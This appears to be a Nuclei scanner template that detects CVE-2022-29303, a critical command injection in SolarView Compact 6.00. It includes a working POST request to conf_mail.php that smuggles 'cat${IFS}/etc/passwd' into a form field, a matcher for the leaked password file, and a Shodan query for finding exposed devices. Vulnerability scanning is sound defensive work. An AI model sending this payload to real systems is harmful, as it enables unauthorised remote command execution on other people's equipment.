id: CVE-2022-29303 info: name: SolarView Compact 6.00 - OS Command Injection author: badboycxcc severity: critical description: | SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php. remediation: | Apply the latest patch or update provided by the vendor to fix the OS command injection vulnerability in SolarView Compact 6.00. reference: - https://www.exploit-db.com/exploits/50940 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303 - https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing - http://packetstormsecurity.com/files/167183/SolarView-Compact-6.0-Command-Injection.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-29303 cwe-id: CWE-78 epss-score: 0.9555 epss-percentile: 0.99184 cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: contec product: sv-cpt-mc310_firmware shodan-query: http.html:"SolarView Compact" tags: injection,solarview,edb,packetstorm,cve,cve2022,rce,kev variables: cmd: "cat${IFS}/etc/passwd" http: - raw: - | @timeout: 25s POST /conf_mail.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M matchers: - type: regex part: body regex: - "root:.*:0:0" # digest: 4b0a00483046022100904a7146a0328dab47996b8a5109b707886bd5b01ef720e7df4071e51f3b9097022100e2cea663992e00c1d43aefebabc7ca157bfade836937f76651d6b99b71e4c7dc:922c64590222798bb761d5b6d8e72950